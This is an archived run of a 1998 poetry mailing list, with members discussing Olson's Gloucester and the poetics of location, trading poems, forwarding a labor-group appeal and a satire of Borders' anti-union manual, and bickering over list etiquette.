If you stand by the seaward window of Olson's apartment you see the world as imagined in Maximus, from the local, even to the temporally local as witnessed by the weather notations Olson scrawled on the window frame, to the houses of the fishermen, the harbor to the left and the sweep of the beach that fronts the town to the right. And straight out, beyond all that, the bay open to the Atlantic beyond the two wooded arms that enclose it, and outward to the world and the cosmos. It really is an extraordinary, and empowering, view. If you look out the door towards town you see the old yankee spires through a filter of fish-racks. Remember the maps that fronted the three big volumes of Maximus, and the maps sketched out by the position of words on the page in some of the poems, and "I come back to the geography of it,/the land falling off to the left" etc. Those maps, be it noted, are also maps of past configurations, so that the reach outward from that window is four dimensional.

So, the local as a place to stand, to take strength from, perhaps, where one's protest has a chance of being heeded, and a place to look out from, in all the directions. Check out Letter 5, Olson's savaging of Ferrini, which I think draws the issues. "...winds, Ferrini,/which are never 4, which have their grave dangers (as writing does)/just because weather/is very precise to/the quarter it comes from (as writing is,/if it is as good as"

At 04:05 PM 8/17/98 -0400, you wrote:
>[A few subscription problems -- this e-mail is a little out of date, since
>the location thread was a while (a few days?) ago, but 'thought it might
>be of interest.]
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>I think my position is similar to Tom's on this one. I grew to a
>consciousness of writing when I lived in New Hampshire, where the most
>interesting things happen when (speaking broadly, as always) man collides
>with his location in nature and society. Given the state of much of our
>developed land -- essentially interchangable units arrayed in mutating
>sequence -- I wonder if the attention to location is disappearing, or,
>rather, appearing as an atavism. Feeling as if I was engaging in some
>unconscious nostalgia at the time, I look back at the "postitioned" work I
>did then and wonder how much is worthwhile. I remember looking at Plath's
>Ariel in a seminar, and hearing someone make the comment that the first
>few stanzas are Plath still trying to write "vivid description" (a commen
>that was supposed to be critical), and only reaching a more "metaphysical"
>plain/plane in the later lines; it's an interesting comment, one that I
>was resistant to at the time, and I wonder if its true that a poem must

>eventually escape position in such a direct manner.
>
>Pound's _Cantos_, in passing, seem to me to be an amazing way to unite a
>postmodern notion of the decay of a Thoreau-like "location" with a feeling
>of position, of some kind of connection to a particular physical reality.
>
>Moving from the theoretical to the practical act of writing and creation
>of a poetic "landscape" in the most general sense, I think where one is at
>a particular time can have an enormous positive effect on the work itself.
>When I write, what emerges after revision is a space that in many ways
>maps almost topologically to an experience of a place, mirroring in some
>way my inhabitation of it, and the accidents of coming to know it.
>
>Below, for anyone who's made it this far, is a draft of a work drawn from
>that little blue sign in Harvard Square that marks Anne Bradstreet's
>residence, with thanks to John Berryman.
>
>-- Simon
>
>http://www.fas.harvard.edu/~sdedeo/localpapers.html
>[redacted]
>
>
>
>Entering the site of the former residence of Anne Bradstreet
>
>Varnish in layers laid on the hardwood floor.
>In empty rooms, where barefoot one might feel
>the anonymous grit warm in years of occupation,
>I charade my guide, keeping two steps behind
>with meditations on the brass doorknobs
>and the crumbled paint in a pile by the door.
>
>I have made numerous telephone calls, perjured
>and damned myself to spend a quarter hour --
>how the hour ticks, now -- in observation.
>Agitated, my guide drops the stormwindow
>and enquires into my deeper motives.
>The distance to the street is immense.
>
>We exchange cards, mine as fradulent
>as Al Capone's, and I linger on the stair

>awkward as the local tough thieving
>roses for the virgin in the mansion in
>the city on the hill. Vain, vain, vanity
>all. But the marble here is cold.
>
>

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380. **Mark Weiss**
Re: oogling
Mon 17 Aug 1998

Looking sheep-eyes at someone is still a current expression, or have I become archaic?

At 12:43 PM 8/17/98 -0600, you wrote:
>Safdie Joseph wrote:
>
>> I like your translation quite a bit (and Michaux, and Ted's appropriation
>> of Michaux). I find Todd Baron to be sloppy and stupid, though. By the way,I
>> think that one of the reasons some of us had problems with the original
>> project of langpo was the tendency of its founders to live exclusively in
>> their heads.
>>
>
>Thanks. I am a relatively recent (2 years ago?) convert to The Cult of Ted as
>Andrew Schelling once called it. I did my undergraduate work in music
>performance and had never read Berrigan before I came to Naropa! (now that's
>confessional)
>
>I feel sorry for Todd Baron -- he seems puppy-like in his desires, probably
>lonely. He probably means well, though that's hardly an excuse.
>
>Living in one's head... well, as in many cases, it's fine if one does it
>superbly. (I think Michaux pulls it off -- but his is far from a self-centered
>or confessional "I.")
>
>> Which brings me to ogling. I looked it up in my Skeats and the etymology is
>> from Dutch, of all places -- wait'll you hear this -- from _oogen_, "to cast

>> sheepes eyes upon one" -- cf. Low German (low, of course!)_oegen_ to look
>> at! Cognate with "eye"
>>
>
>"sheepes eyes"?! for some reason this reminds me of a phrase my sister and I
>used in our childhood -- googly babies (those were the unpleasantly noisy and
>wet ones)
>
>> So EYE thank you for your comment about same. I love to look at women,
>> actually, but mostly, I love to look. Didn't Wallace Stevens write a poem
>> called "The Pleasures of Merely Seeing"? If he didn't he should have.
>>
>
>I had an interesting (to me at least) exchange once with Randy Roark (do you
>know him?) -- I said a reading Cole Swensen gave was sexy, and he said he
agreed
>but felt he couldn't make a comment like that without being perceived as
sexist.
>Now, I consider myself feminist, and this seems wrong. Harassment lines get
>drawn all over the place... and having been sexually harassed before, I have
>strong feelings about it. But there's plenty that's still _not_ harassment.
>It's too fascist to say that men can't talk about x, y, or z. Sometimes I
don't
>think I can stand to live another minute in a Puritan country such as this
>one.If people call everything remotely titillating harassment, it's
belittling
>to real cases.
>
>> . How much
>> of that translation have you done?
>>
>
>I probably have 30 pages left (guesstimate). Plus Anselm's commentary,
>corrections, suggestions, etc. He's really the co-translator, and without
>everything he's put in, the work would be mediocre at best. It's quite an
honor
>(and a blast) to work with him. With Michaux, sometimes I feel an eerie
>mind-meld sort of connection. This may sound grim, but I enjoy the frankness
>with which he examines the undersides of the mind. I've spent some time in
the
>nether regions of depression, and find that true horror is pretending that
the

>black holes (or heffalump traps as I used to refer to them) aren't there.
>
>Drinking too much coffee in the library
>(after drinking too much beer on Saturday),
>Laura
>--
>Laura Wright
>Library Assistant
>Allen Ginsberg Library, The Naropa Institute
>2130 Arapahoe Ave
>Boulder, CO 80302
>[redacted]
> * * * * * *
>"All music is music..." -- Ted Berrigan
> * * * * * *
>"It is very much like it" -- Gertrude Stein
>
>

↑ Index

381. charles alexander
printing
Mon 17 Aug 1998

Mark,

We were wrong about my printing problem today. It wasn't a memory problem at all. Somehow, the .eps file for the bar code on the book cover was either corrupted, or not properly linked in some way. When I went back to the original of that file, saved it again, making sure I included the fonts with it, and loaded the "new" file into my PageMaker file, it worked fine.

charles
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

382. Mark Weiss
Re: printing
Mon 17 Aug 1998

Glad to hear it. A pleasure to be wrong.
Is the wisdom of computers the memory of past mistakes? Like learning about cars from what goes wrong? (Or kids for that matter?)

At 06:58 PM 8/17/98 -0700, you wrote:
>Mark,
>
>We were wrong about my printing problem today. It wasn't a memory problem
>at all. Somehow, the .eps file for the bar code on the book cover was
>either corrupted, or not properly linked in some way. When I went back to
>the original of that file, saved it again, making sure I included the fonts
>with it, and loaded the "new" file into my PageMaker file, it worked fine.
>
>
>charles
>chax press : alexander writing/design/publishing
>[redacted]
>http://alexwritdespub.com/chax
>[redacted] (phone) [redacted] (fax)
>
>

↑ Index

383. charles alexander
sorry
Mon 17 Aug 1998

sorry for sending a private message to Mark Weiss to the list.

It happens sometimes, but it is always rather embarrassing.

charles

chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

384. Donald Wellman
Re: location location location
Tue 18 Aug 1998

I am deeply impressed by a loving and intimate knowledge in Mark's posting to this thread, describing the view from Olson's windows. And yet it seems the local is always made to serve something "other" isn't it? always a reification of some desire, defiantly even never itself or we would not have that need for its solidities compounded of distances.

Mark wrote: "So, the local as a place to stand, to take strength from, perhaps, where one's protest has a chance of being heeded, and a place to look out from, in all the directions."

There is such a difference between the "local" as a value and "local knowledge" that can be quite blinding. To get back to Todd, if you look out "your" window at night (as Olson who" inverted night and day" must often have done) "you" can see "your" face in it as well as the stars, light pollution permitting.

Don Wellman

↑ Index

385. Mark Salerno
Reading in Chicago
Tue 18 Aug 1998

Friends:

I'll be in Chicago on November 19, 1998, to read at the Art Institute, and I'm searching for other venues at which to read while I'm in town. Anyone with suggestions please back channel.

I'd be grateful.

Mark Salerno

↑ Index

386. Henry Gould
Re: location
Tue 18 Aug 1998

Mark Weiss & Don Wellman sound both right on this one. "Where we are" is something of a mystery, to put it mildly, maps or no maps; but should probably beware of any particular formulas (ie. the local is the key, or, the local stands for some other desire) - because "the local" primarily stands for an inexaustible

fulness that is really beyond telling, though we keep trying - maybe Keats came pretty close - in simple formula fashion -

"the poetry of earth is never dead"

- though I'm sure he would agree that's not the "end" of the story -

- Henry Gould

↑ Index

387. KENT JOHNSON
(Fwd) Join SAWSJ
Tue 18 Aug 1998

Poetics folks:

The below appeal comes from one of the most interesting and promising new organizations the American left has seen in some time. Please read!

Kent

Forwarded Message Follows -------Date: Wed, 12 Aug 1998 13:51:24 -0400 From: SAWSJ <[redacted]>
Subject: Join SAWSJ
To: SAWSJ <[redacted]>

Can we persuade you to join Scholars, Artists, and Writers for Social Justice (SAWSJ)? You are on our email list; you may even think you are a member, but according to our records you aren't -- yet. We've sponsored the Columbia University teach-in and thirty others, mobilized support for the UPS and GM strikes, and helped raise the issue of the right to organize. With your support, and that of others, we can do much more.

The primary aim of SAWSJ is to strengthen the relationship between the labor movement and its allies in the academic and cultural communities. Working together we can help to shape the terms of political debate, contest corporate dominance of politics and culture, and foster the growth of a vibrant, progressive, multicultural working-class movement, one that speaks to issues of race, gender, and sexual orientation.

If you share these goals, PLEASE JOIN. A membership form follows this message; it lists some of the activist groups we are working to build. We hope you'll join one or more of these, and together we will fight against sweatshops and for the right to organize, against workfare and for a more inclusive university. Together we can create our own media network to write op-eds and letters to the editor so that our views get attention equal to those of the right (okay, maybe that won't happen next week, but ...). If you join we'll send you a letter describing these projects, as well as how to form a chapter or become a part of our steering committee.

The labor movement knows that standing alone it can't win the right to organize, change the image of unions, or win political victories. Academics and cultural workers know that unless we connect with a larger movement, our voice will not be heard and we will miss the grounding and connections that can enrich our vision.

John Sweeney and the AFL-CIO have strongly supported SAWSJ -- participating actively in the teach-in movement, speaking at our founding meetings, and assigning staff to work closely with us. At the same time, they have been clear that we are and should be an independent organization; President Sweeney went out of his way to indicate he is sure we will sometimes disagree, and that such disagreements are healthy and can be productive.

Why join, rather than just continuing to be a free rider on our email list? One obvious answer: we need the money to keep up our activities; without members we can't continue. But even more, we need your commitment. You'll receive our members-only mailings, and soon will have the option of joining our members-only listserv. We want your dues and an indication of your commitment; we hope you'll want to do more and will join one of our working groups. Together we can work to realize our mutual goals.

The Coordinating Committee of Scholars, Artists, and Writers for Social Justice (Dan Clawson, Michael Denning, Dorothy Fennell, Steve Fraser, Adam Green, Margaret Levi, Jenny Stevens, and Jamal Watson)

Scholars, Artists, and Writers for Social Justice (SAWSJ)

The aim of SAWSJ is to assist in reshaping the nation's political culture and fostering the growth of a vibrant, progressive, multicultural working-class movement; in shaping the terms of political debate and contesting corporate dominance of politics and culture; in restoring the mutually empowering relationship between the labor movement and its allies in the academic and cultural communities. If you share these goals, PLEASE JOIN.

Please print this form, fill it out, and send it in; or complete it via e-mail, and snail mail us a check.)

Name:
Email:
Home Phone: ( )
Work Phone: ( )
Address:

City: State: Zip:

Organizational Affiliations
University (if any):
Work:
Union (if any):
Political and Cultural Groups:

_____ Yes, I want to become a SAWSJ member.
Dues - check one:
____ $10 student/low income
____ $25 others with incomes below $40,000
____ $40 for those with incomes of $40,000 or above

Make checks payable to SAWSJ and mail to:
SAWSJ
c/o Labor Relations and Research Center
University of Massachusetts
125 Draper Hall
Box 32020
Amherst, MA 01003

EMAIL LIST INFO -- SAWSJ maintains an informational email list. Once or at most twice a week, we send out news and information, collected from many sources, about labor and social justice issues. Please check one:

_____ I am already on the list.
_____ I am not on the list. Please add my e-mail
_____ Please do not add my e-mail address to the list.

SAWSJ ACTIVITIES - We have underway, or are working at creating, both local chapters and networks focused on particular issues. Please indicate if you'd be interested in working on one or more of the following. Check as many as you like; if you check an item, someone will be in touch with you about working on the project:

___ Joining or forming a local chapter
___ Organizing a teach-in in your area
___ Big chill - fighting attacks on labor researchers
___ Anti-sweatshop
___ Right to organize
___ Workfare-welfare
___ On-campus organizing
___ Race and campus access
___ McJobs - part-time and contingent work issues
___ Op-ed and media projects - building a left network
___ Directories - of experts, of student groups
___ Internal SAWSJ - membership, fundraising, newsletter
___ Teamster Reform
___ YOUR issue - what else would you like to work on?
Please specify:

Scholars, Artists and Writers for Social Justice (SAWSJ)

Email: [redacted]
Phone: [redacted] Fax: [redacted]
Internet: www.sage.edu/html/SAWSJ

Address: SAWSJ
c/o Labor Relations and Research Center
University of Massachusetts Amherst
125 Draper Hall, Box 32020
Amherst, MA 01003

↑ Index

388. George Thompson
Re: location
Tue 18 Aug 1998

Diane DiPrima once told the story of visiting Olson in that apartment, listening to him for hours as he sat there in a rumpled bed pointing frequently out the window as he talked, rapidly of course,and also pointing, without ever looking, at a map of Gloucester that was pinned up on the wall over his bed. She marvelled at the fact that that map, which must have been there for years, had become completely bleached out by the light and had become completely illegible.

Tells you where Olson's map really was.

GT

> *Mark Weiss & Don Wellman sound both right on this one. "Where we are" is*
> *something of a mystery, to put it mildly, maps or no maps; but should probably*
> *beware of any particular formulas (ie. the local is the key, or,*
> *the local stands for some other desire) - because*
> *"the local" primarily stands for an inexaustible fulness that is*
> *really beyond telling, though we keep trying -*
> *maybe Keats came pretty close - in simple formula fashion -*
>
> *"the poetry of earth is never dead"*
>
> *- though I'm sure he would agree that's not the "end" of the story -*
>
> *- Henry Gould*

↑ Index

389. Mark Prejsnar
Feeling sorry
Tue 18 Aug 1998

I feel sorry for people who dis poets, groups of poets etccc..

And then post said attacks, to 650 people, when they intended them to be private.

Gosh, such people seem to be "living inside their heads."

I feel sorry for people who are frightened by poetries outside the mainstream (such people seem to be "living insdie their heads.").

Vladimir Gerturde Lenin
(ah! Lenine! quel chanteur!)

↑ Index

390. **R.Gancie/C.Parcelli**
Re: location location location
Tue 18 Aug 1998

Thanks to Mark Weiss for this beautiful evocation of Olson's Gloucester.---Carlo Parcelli

> *Back to the locus classicus, it's good to remember that when Olson positioned himself as Maximus "of Gloucester" and touted the necessity of the local he was making a decision to swim counter to the current. Prior to then he had been plenty peripatetic, and he certainly continued to be aware of the fragility of "polis." His polis, in fact, had become something of a fiction, even in Gloucester--his reference is to the portuguese fishermen and working-class yankees, who certainly made up the world of Fort Square, and if you only looked seaward I suppose you could screen out the commuter town that the rest of Gloucester was morphing into. What would he have made of the Moonies taking over the canneries? But his stance--his "stand"--involved an active protest, including, for instance, letters to the editor--it was a political action--and poems like "In the face of a Chinese View of the City."*
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-- Simon

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[redacted]

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the anonymous grit warm in years of occupation,
I charade my guide, keeping two steps behind
with meditations on the brass doorknobs
and the crumbled paint in a pile by the door.

I have made numerous telephone calls, perjured

> *and damned myself to spend a quarter hour --*
> *how the hour ticks, now -- in observation.*
> *Agitated, my guide drops the stormwindow*
> *and enquires into my deeper motives.*
> *The distance to the street is immense.*
>
> *We exchange cards, mine as fradulent*
> *as Al Capone's, and I linger on the stair*
> *awkward as the local tough thieving*
> *roses for the virgin in the mansion in*
> *the city on the hill. Vain, vain, vanity*
> *all. But the marble here is cold.*

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391. **Peter Balestrieri**
Re: ooooooooooogling stupidity
Tue 18 Aug 1998

To Todd Baron:

Remember the way you dissed and dismissed Alan Sondheim's work a few months back? You say in your recent post, "I seek to ONLY discuss poetics on this list..." but back then you wrote, "I have long ago dismissed a poetics that engages the language in a self-ish way--that is--where one tries to force the language into an "experimental" form--for the sake of being that thing others would call "experimental" --the piece I responded to wasn't doing anything--Why discuss it, then--if, in my mind--I already have"?

It seems your chickens are roosting quite nicely.

PB

↑ Index

392. **Pierre Joris**
single query
Tue 18 Aug 1998

I need to quickly get in touch with Lisa Jarnot. Does anyone have a current phone # or email? Is she in Colorado right now? B.C. is best -- thanks -- Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel: [redacted] fax: [redacted]

email:[redacted]
http://www.albany.edu/~joris/

“I take place out there”

-- Robert Duncan
==========

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393. **MAYHEW**
Not yet/already
Tue 18 Aug 1998

Our language does not consist of a stock set of sentences, but sometimes we behave as though it did (Xavier Rubert de Ventos). Against Heidegger's contention that we have not yet begun to think, Wittgenstein: we are already thinking. Phenomology takes us further, rather than closer, to phenomena, just as hermeneutics takes us further from understanding. Do we need someone to explain to us how we understand something that we already understand, how in some sense we understand it because we have already understood it before we even know what its about? As we get older our experience grows while our openness to new experience diminishes: few will try sushi for the first time after the age of 35, or change their taste in music, or get their tongues pierced, according to a recent scientific survey (consequences of this for educational theory). I no longer read the books I review; I look at the index, the table of contents, the footnotes. In the grocery store I am constantly seeing people that look vaguely familiar to me. This is because I saw them three minutes before in another aisle. To be continued...

Jonathan

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394. **MAYHEW**
stupidity
Tue 18 Aug 1998

I think a distinction is being lost. For Todd to say "I have long ago dismissed a poetics that engages language in a selfish way" is not to attack the person, but the poetics. How is this an ad hominem attack? He didn't say that Alan Sondheim was a pathetic puppy dog, stupid, etc... Or are we so identified with our 'opera' that any attack on our position becomes an attack on our various selves? For me, it is different if someone says to me "Jonathan, I have long ago dismissed the basic premise underlying your book," and "Judging by your book,

you are a stupid guy." the first invites debate, the second really does not. After all, I might dismiss my earlier positions at some later date with no shame at all.

Jonathan Mayhew
Department of Spanish and Portuguese
University of Kansas
[redacted]

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395. **hen**
Re: ooooooooooogling stupidity
Tue 18 Aug 1998

On Tue, 18 Aug 1998 10:23:34 -0700 Peter Balestrieri said:
>
> It seems your chickens are roosting quite nicely.

"I hate gossip."
- Jack Spandrift, Angola Penitentiary #41575, Angola, LA

↑ Index

396. **David Baratier**
Re: snorting up the Pound / Williams line
Tue 18 Aug 1998

Howdy. Just getting back from Boston. The question posed was one where Pound's innovator's were merely the focus of invention, rather than all five sections of oratory. First of all, Pound sacked the innovators / imitators idea from Horace's Ars Poetica without a thread of improvement. Hook line & sinker. Which is to say, I am picking on someone my own size. 2nd. Since I have taken a stance as speaking to a group posited at a certain level of familiarity with oratory, exploring Quintillian did not, and still does not, strike me as a necessity. I disagree in the following way:

Patent No. 296,933 - Bench Plane / Norman Edward Curtis Mauston, WI April 15, 1884.

This bench plane provided for "accurate and quick lateral adjustment of the plane iron" and consisted of a fulcrum, a longitudinal groove, and a lever that could be operated by hand or by an adjusting screw.

Patent No. 17,192 - Improvement in boats for duck hunting / Robert Bogle / Rock Hall, MD, May 5, 1857.

Propelled by wading or paddling, this low-floating boat served as a duck blind where a hunter was hidden by a waterproof cloth. The floating platform, which could be painted to match the water, contained four decoys representing the types of waterfowl being hunted.

A simple, quantifiable, traceable reason for each invention's "success" or "failure" is not contained within a specific philosophic model that could possibly offer a determinacy with regularity. Can we always say an invention expires as a direct result of the innovators ingenuity? The idea of experiment as purely derived from method has been suggested to the listserv as if there is some way to come up with an approximal why. And yet, at least in the above case, the end result is one of simplicity, one object is still in production, the other is not.

One product failed as the result of production methods used by the manufacturer, as well as the shelf space requirement. Where does this fit in? All kinds of metonymy, synecdoche, metaphor, arrive beyond these but here is a start: Success of invention vs. oratio

invention - invention
shelf space allocated & arranged - disposition
pairing down of intended audience through marketing - elocution
product brand name awareness - memory
production methods, packaging and impact of product - delivery

Olson carries me with disposition as much as memory (contrivance thereof) and invention. In short, in a statement where invention and originality are the sole reduciaries then one would say Boo-berry cereal lasted for nearly a decade on the market because it was a superb invention & Bob Perelman's The First World disappeared from the market in under five years for lacking the cereal's cloven foot. Originality and independence in the production of subject matter is not even close to the whole of the moon.

There is comfort provided or power gained by preset categories? This is where the wonder twin powers of poetry are activated in a Kristevan form of oppositional forces in society. That the existence of an X starts to inform the existence of its polar enemy -X.

I value the five parts of oratory because I know them, imbed them, work against them. Each of them has influenced a work and offered a way to bridge into a desire for understanding.

Be well

David Baratier

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397. **toddbaron**
Re: (Fwd) Join SAWSJ
Tue 18 Aug 1998

> *Scholars, Artists and Writers for Social Justice (SAWSJ)*
>
> *Email:* [redacted]
> *Phone:* [redacted] *Fax:* [redacted]
> *SAWSJ*
> *c/o Labor Relations and Research Center*
> *University of Massachusetts Amherst*
> *125 Draper Hall, Box 32020*
> *Amherst, MA 01003*

thank-you for forwarding this very imp. chance to participate. I encourage others to join.

TB

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398. **toddbaron**
Re: location
Tue 18 Aug 1998

---

speaking of Diane D P. --does anyone have a current address for her--is she still in SF. (I studied with her and simply want to send ReMap)--

thanks--pls do this "privately"

Todd Baron

↑ Index

399. **toddbaron**
Re: location location location
Tue 18 Aug 1998

---

this is simply a beautiful way to wake this a.m. yr writing--the many Olson's I find here--all the Location--from here (LA) a place where bulldozers create location but "dig" nothing--(outsiode the window--besides the reflection of a face--the GTE warehouse, tomatoes, the street, somewhere off--the sea--the same constant--the body--of water--I have no map of).

thanks so much for this "seaward window"

Todd Baron
(ReMap)

I guess ReMap should do a LOCATION issue!

↑ Index

400. **Mark Weiss**
Re: Not yet/already
Tue 18 Aug 1998

Yeah, I heard an interview about this. The interviewee, who has written on the subject, contrasted himself with a young assistant. He himself would tend to listen to the same kind of music every day, his assistant was totally unpredictable and experimental--more open to new experience was the interpretation. And there seems at present to be no explanation of the difference wrought by age. It occurred to me that there may be another partial explanation. When I was the age of his assistant I used to have marathon listening sessions. The was one night that started with Parsifal then proceeded to the Mass in B Minor (both for the first time) and ended at dawn with Mahler's Third. Now I tend to hear new things and accept or dismiss them fairly quickly, with far more dismissals. Age? Or maybe my ear is better trained. Or maybe, more importantly, when I was first learning the classics almost everything I listened to was in fact great music and having learned the canon and then some the experiments were less frequently rewarding. The same being true of all the other arts, high and popular. As for not eating sushi after 35, those experimental enough to do so would have done so far earlier given availability. My father, who was always an adventurous eater, fell hopelessly in love with raw fish in his late 40's--love, in his case, at first sight. But in this age of more universal availability those likely to experiment would have done so by 35, and the rest, the potential sushinuts, would be the more conservative remnant. More thoughts on flexibility. One does fall into routines. Along comes a major life change, a divorce, say, or a threat to life, and with it an explosion of new learning, new experimentation. So, maybe neither so mysterious nor so frightening a phenomenon.

At 01:52 PM 8/18/98 -0500, you wrote:
>Our language does not consist of a stock set of sentences, but sometimes
>we behave as though it did (Xavier Rubert de Ventos). Against Heidegger's
>contention that we have not yet begun to think, Wittgenstein: we are
>already thinking. Phenomology takes us further, rather than closer, to
>phenomena, just as hermeneutics takes us further from understanding. Do
>we need someone to explain to us how we understand something that we
>already understand, how in some sense we understand it because we have
>already understood it before we even know what its about? As we get older
>our experience grows while our openness to new experience diminishes: few
>will try sushi for the first time after the age of 35, or change their
>taste in music, or get their tongues pierced, according to a recent
>scientific survey (consequences of this for educational theory). I no

>longer read the books I review; I look at the index, the table of
>contents, the footnotes. In the grocery store I am constantly seeing
>people that look vaguely familiar to me. This is because I saw them three
>minutes before in another aisle. To be continued...
>
>
>Jonathan
>
>

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401. David Zauhar
location(3): three quotes and 2 questions
Tue 18 Aug 1998

"thus we are to work in our own 'locality': not piggishly, not narrowly. We must see, steal, beg, borrow--but we borrow only that which we want. What we feel, think, conclude that we need. Not what is imposed on us (unless we can't help it, then we use that too: Negro American Music)."

William Carlos Willams, _The Embodiment of K._, p. 150

Question: has anyone ever lived/visited some place where it seemed impossible to get any writing/thinking done? How to deal w/ it?

"It would be awfully lonely being the only surrealist at the University of Minnesota"

-- Kenneth Koch

Question: Joel Lewis raised in interesting point about reading his NJ poems in Seattle. I like his work and I mean no disrespect to it or the general point he raised: I think I'm going elsewhere with this question: what would it mean if poets in Seattle and New York cared more about the Minnesota poetry of Kenneth Koch's hypothetical surrealist than his or her St. Paul neighbor w/ which said hypothetical surrealist goes Walleye fishing? How much does location mean if the local is so portable?

"critics may smile, but I would rate the verse of an Alaskan poet (given the same ability) higher than the verse of a poet from Yalta. Of course! Since the Alaskkan has to freeze and spend money on warm clothes and the ink from his pen keeps freezing. Whereas the yalta man writes against a background of palmtrees in a spot which is nice even without poetry."

--Vladimir Mayakovsky

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

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402. **toddbaron**
Re: ooooooooooogling stupidity
Tue 18 Aug 1998

I bloody well have no idea what yr talking about!

I'm scared!

I'm lost!

Todd

↑ Index

403. **louis stroffolino**
QUERIES (CB and DS)
Tue 18 Aug 1998

Two questions----

Does anybody here know what Bernstein poem (i think it's at least 9 years old) that has some line (or sentiment) to the effect of "Hey, I'm glad I didn't live any longer, because if I would have I would have had to spend more money?" (this is a TOTAL paraphrase, from flimsy memory.... I probably have the TONE totally wrong, and maybe even the MEANING). Any help would be appreciated? Thanks

2) Does anybody have email (backchannel) address for Dale Smith?
thanks, chris s.....

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404. Karen and Trevor
submissions
Tue 18 Aug 1998

The next deadline for Fourteen Hills: The SFSU Review is coming up. We publish poetry, fiction, drama, creative nonfiction and essays. Send up to 5 poems or one piece of prose (2 if short short) with SASE by September 1. The Editor-in-Chief is Linda Jarkesy. Look for our most recent issue at Small Press Distribution.

Fourteen Hills
Creative Writing Dept
San Francisco State Univ
1600 Holloway
San Francisco, CA 94132

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405. KENT JOHNSON
(Fwd) from Another Labor-Related List ...
Tue 18 Aug 1998

A few weeks back there was some discussion on Poetics about Borders Bookstores. Forwarded from the UCLEA Labor Studies List. Ah, culture...

Kent

Some humor for your Monday mornings up there in North America....

Early Warning Signs

Borders bookstore chain has been bothered of late by union activity.
As a
result, Anne Kubek of their Human Resources Dept. prepared a manual
on
"Union Awareness Training for Borders Managers." As a public service,

someone has been kind enough to post the whole text on the internet . Of particular value is a section entitled "Recognizing the Early Signs of Union Activity," a concern we all share. Here are a few of the warning signals:

1. "Employees gather in small groups of twos and threes and
immediately halt
their conversations when managers approach."

2. "Employees start gathering to talk in areas that are off the beaten path."

3. "Employees who are not normally seen talking to one another begin associating more regularly. Strange alliances begin to form."

4. "New vocabulary may creep into employees conversations. Union terms such
as seniority, grievance, bumping, job security, job posting, etc. may appear
in conversations."

5. "Managers start getting an inordinate amount of critical and probing
questions concerning policies and/or benefits. "

Keep vigilant. You never know where the virus of critical thought will
strike next.

found at: http://www.scn.org/news/newspeak/week.html

Tom

Tom Kruse / Casilla 5812 / Cochabamba, Bolivia
Tel/Fax: (591-4) 248242
Email: [redacted]

--part0_902453804_boundary--

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406. KENT JOHNSON
Bullworth
Wed 19 Aug 1998

There was quite a bit of discussion about _Saving Private Ryan_ a couple of weeks ago. Has there been any discussion of _Bullworth_? I just saw it in a Motel 6. What a movie!

I'm pretty sure there is no Hollywood film in recent memory that features a major (whatever that really means) American poet. Amiri Baraka, no less, plays a homeless sort who haunts Bullworth and tells him to be a "spirit" and not a "ghost." Bullworth is a typical bought white politician who more or less goes nuts, sheds his skin, and starts rapping anti-capitalist stuff like a Black Panther. This inspires the kingpin of an inner-city gang to suddenly see the light and become responsible to the children of his community. A number of loud and sexed-up black women go wild for Bullworth in advance of the men learning, via his didactic rap, how to be men. But Bullworth gets shot dead by an insurance executive, his promise cut short.

Sorry if this movie has already been discussed here, but I'm curious about what people think: Amiri Baraka, Maoist extraordinaire, jumped all over Spike Lee a few years back in Sulfur for selling out to liberal revisionism with _Malcom X_. Does Baraka do the right thing in _Bullworth_? It's a strange and fascinating movie. Some critics say it's profoundly racist. Others say it's the most leftist and subversive thing ever done in Hollywood.

Can it be both?

Kent

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407. Alan Jennifer Sondheim
susan's "and the aliens" (fwd)
Wed 19 Aug 1998

-

susan's "and the aliens"

"and the aliens, where are they, in our desperation,
looking for large eyes or things which dwell within us or
within our identities or equivalences, sliding ourselves
into a more dangerous universal womb, but at least the womb
which doesn't show, exfoliate, closed labia just as
they refuse us entrance - that there are none of them,
no scripts, no continuities but our own hysterias seeming
to construct semblance, so that now we substitute the net
or art or just about anything else, else which might nonetheless
turn ashy in a universal conflagration generated by the smallest
flesh or flash, risen from the surface of the sun; so now we wait
on meteors or asteroids, veering from dangerous safety to safe
danger, a distance few or fewer, but then the danger's real,
safety's not, that's the truth of it as it falls disturbed and
scattered to the floor where one might imagine grounds defined
as metaphysics or whatever until the text chars, explodes,
implodes - "it's as if there's nothing to read, nothing to see,"
say the aliens - now we can move them from say siberia or
area fifty-one all the way to our interior - there are scripts
within scripts, encrypted scripts, lost-treasure-scripts,
scripts-of-ghosts-and-demons, scripts-of-discontinuities,
kabbalistic numbers prying open numb alien skulls and thought-
forms, "Oh, how she could go on, in the mornings when the sun
was just rising behind the poplars in the garden."

"The truth is, she did go on, she went on alone and speaking, murmuring the pulse of the green-gold world, and there was nothing else to it, nothing else to any of it, nothing, nothing at all."

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408. **R M Daley**
Re: ooooooooooogling stupidity
Wed 19 Aug 1998

It seems your chickens are roosting quite nicely.

↑ Index

409. **Robert Archambeau**
Re: reactionary query
Wed 19 Aug 1998

Jonathan,

For a primary document in the history of anti-experimental backlash, and one that provides some historical depth, (at least back to the late nineteenth century) I suggest checking out Donald Davie's book _Thomas Hardy and British Poetry_. This isn't a history of anti-experimentalism, but an instance of it grounded in history.

Davie claims that Hardy's very conservative, neo-Augustan poetry is central to English poetry, and that experimental work, while often more interesting, is nevertheless unacceptable. (This kind of ambivalence is typical of Davie).

What is really interesting (and sometimes infuriating) about this is that Davie tries to demonstrate that liberalism is the province of formalism, while experimentalism implies utopian and therefore totalitarian politics. So: a good book to sharpen your own arguments against.

By the way -- do you know anything about Brazilian experimental poetry? I'd like to do a Brazillian avant-garde issue of Samizdat, but need a guide to the terrain.

Robert Archambeau
Dept. of English
Lake Forest College, Illinois &
Lund University, Sweden

↑ Index

410. Peter Ganick
location location location
Wed 19 Aug 1998

having a laptop computer has changed my notion of 'location' in my writing practice...

before, i would transcribe into a journal at some place or in my house, then transfer onto a typewriter (later an old computer) and that'd be it...

